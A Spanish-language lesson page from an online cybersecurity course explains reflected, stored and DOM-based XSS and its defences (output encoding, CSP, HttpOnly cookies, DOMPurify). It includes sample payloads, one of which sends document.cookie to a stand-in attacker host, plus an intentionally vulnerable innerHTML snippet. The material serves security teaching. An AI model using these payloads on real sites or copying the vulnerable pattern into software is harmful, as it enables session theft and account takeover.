0Pricing
Cyber Security Academy · Lección

Cross-Site Scripting (XSS)

Explore el XSS reflejado, almacenado y basado en DOM con payloads reales y medidas de mitigación mediante CSP.

Cross-Site Scripting (XSS) es una lección gratuita de Cyber Security Academy en CoddyKit. Esta es la lección 2 de 4. Puedes leer la lección completa abajo gratuitamente — luego la practicas en el navegador con un editor de código integrado y un tutor de IA 24/7. Forma parte de la ruta de aprendizaje de Cyber Security Academy, y tu progreso se sincroniza en la web y la app de CoddyKit. El curso de Cyber Security Academy incluye 4 lecciones en total.

¿Qué es XSS?

Cross-Site Scripting (XSS) se produce cuando un atacante inyecta JavaScript malicioso en una página web que otros usuarios visitan. El navegador ejecuta el script en el contexto de la sesión de la víctima, lo que permite robar cookies, registrar pulsaciones y manipular la página.

XSS reflejado

XSS reflejado (no persistente): el script malicioso se incluye en la solicitud (por ejemplo, como parámetro de URL) y se refleja en la respuesta. La víctima debe hacer clic en un enlace manipulado. Ejemplo: https://site.com/search?q=<script>alert(1)</script>

XSS almacenado

XSS almacenado (persistente): el script malicioso se guarda en la base de datos (por ejemplo, en un comentario o campo de perfil) y se sirve a todos los visitantes. Es más peligroso que el XSS reflejado porque no se necesita un enlace especial: cada visita a la página activa el script.

XSS basado en DOM

El XSS basado en DOM se produce cuando JavaScript lee datos controlados por el atacante (el hash de la URL o un parámetro de consulta) y los escribe en el DOM sin sanitizarlos. El ataque ocurre íntegramente en el cliente; el servidor nunca ve la carga útil.

// Vulnerable code:
document.getElementById("msg").innerHTML = location.hash.slice(1);
// Attack URL: https://site.com/page#<img src=x onerror=alert(1)>

Impacto de XSS

Lo que un atacante puede hacer con XSS:

  • Robar cookies de sesión (document.cookie) → tomar el control de la cuenta
  • Registrar las pulsaciones (robar las contraseñas mientras se escriben)
  • Redirigir a sitios de phishing
  • Realizar acciones como la víctima (CSRF mediante XSS)
  • Desfigurar la página

Cargas útiles de XSS

Cargas útiles sencillas de prueba:

<script>alert(document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
<svg onload=alert(1)>

Codificación de la salida

La principal defensa: codifique toda salida controlada por el usuario antes de insertarla en HTML. Convierta los caracteres especiales en entidades HTML: < → &lt;, > → &gt;, " → &quot;.

Utilice una codificación adecuada para cada contexto: HTML, JS, URL y CSS.

Content Security Policy (CSP)

CSP es un encabezado de respuesta que indica al navegador qué scripts puede ejecutar. Una CSP estricta bloquea los scripts insertados en línea y limita las fuentes:

# Response header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com;
# Blocks all inline JS and scripts from unauthorized domains

Cookies HttpOnly

Establecer la marca HttpOnly en las cookies de sesión impide que JavaScript las lea mediante document.cookie. Aunque se ejecute XSS, el atacante no puede robar el token de sesión. Esta es la capa de mitigación más importante, junto con la codificación de la salida.

Bibliotecas de sanitización

Cuando deba permitir que los usuarios introduzcan HTML (por ejemplo, en editores de texto enriquecido), utilice una biblioteca de sanitización en lugar de escribir una propia:

  • DOMPurify (JavaScript)
  • bleach (Python)
  • OWASP Java HTML Sanitizer

Pruebas de XSS

Pruebe XSS con las herramientas de desarrollo del navegador, Burp Suite o escáneres automatizados. Compruebe todos los campos de entrada del usuario, los parámetros de URL, los encabezados HTTP y las funciones sink del DOM: innerHTML, document.write, eval, setTimeout con argumentos de tipo cadena.

Comprobación rápida: XSS

¿Qué tipo de XSS almacena la carga útil maliciosa en la base de datos y hace que se ejecute para todos los visitantes de la página afectada?

Repaso de la lección

XSS inyecta JavaScript en páginas que visitan las víctimas. Tipos: reflejado (basado en URL), almacenado (persistente en la base de datos) y basado en DOM (del lado del cliente). Principales defensas: codificación de la salida, cookies HttpOnly y Content Security Policy. Utilice DOMPurify para sanitizar HTML. Nunca inserte datos de usuario sin sanitizar en innerHTML ni en eval().

Preguntas frecuentes

¿La lección «Cross-Site Scripting (XSS)» es gratis?

Sí — el texto completo de «Cross-Site Scripting (XSS)» es gratis para leer aquí en la web. Para practicarla de forma interactiva (editor de código integrado y tutor de IA 24/7) y desbloquear el resto del curso de Cyber Security Academy, actualiza a CoddyKit PRO. El curso de Cyber Security Academy incluye 4 lecciones en total.

¿Qué aprenderé en «Cross-Site Scripting (XSS)»?

Explore el XSS reflejado, almacenado y basado en DOM con payloads reales y medidas de mitigación mediante CSP. Practicas Cyber Security Academy con código real que ejecutas directamente en el navegador, y un tutor de IA 24/7 responde tus preguntas mientras trabajas en la lección.

¿Necesito experiencia previa para empezar Cyber Security Academy?

No se requiere experiencia previa. Cyber Security Academy en CoddyKit está estructurado para principiantes hasta estudiantes avanzados, así que puedes empezar aquí o desde el inicio y avanzar a tu ritmo. Esta es la lección 2 de 4.

¿Cuánto tiempo toma la lección «Cross-Site Scripting (XSS)»?

La mayoría de las lecciones de CoddyKit toman alrededor de 5–10 minutos. Cada una es compacta e interactiva, así que avanzas constantemente y retomas exactamente por donde dejaste en la web y la app.

¿Puedo escribir y ejecutar código en esta lección de Cyber Security Academy?

Sí. Cada lección de Cyber Security Academy incluye un editor de código integrado, así que escribes y ejecutas código real directamente en tu navegador y obtienes retroalimentación instantánea de IA — sin configuración local necesaria.

Todas las lecciones de este curso

  1. Inyección SQL: cómo y por qué funciona
  2. Cross-Site Scripting (XSS)
  3. Cross-Site Request Forgery (CSRF)
  4. Configuración incorrecta de seguridad y servicios expuestos
← Volver a Cyber Security Academy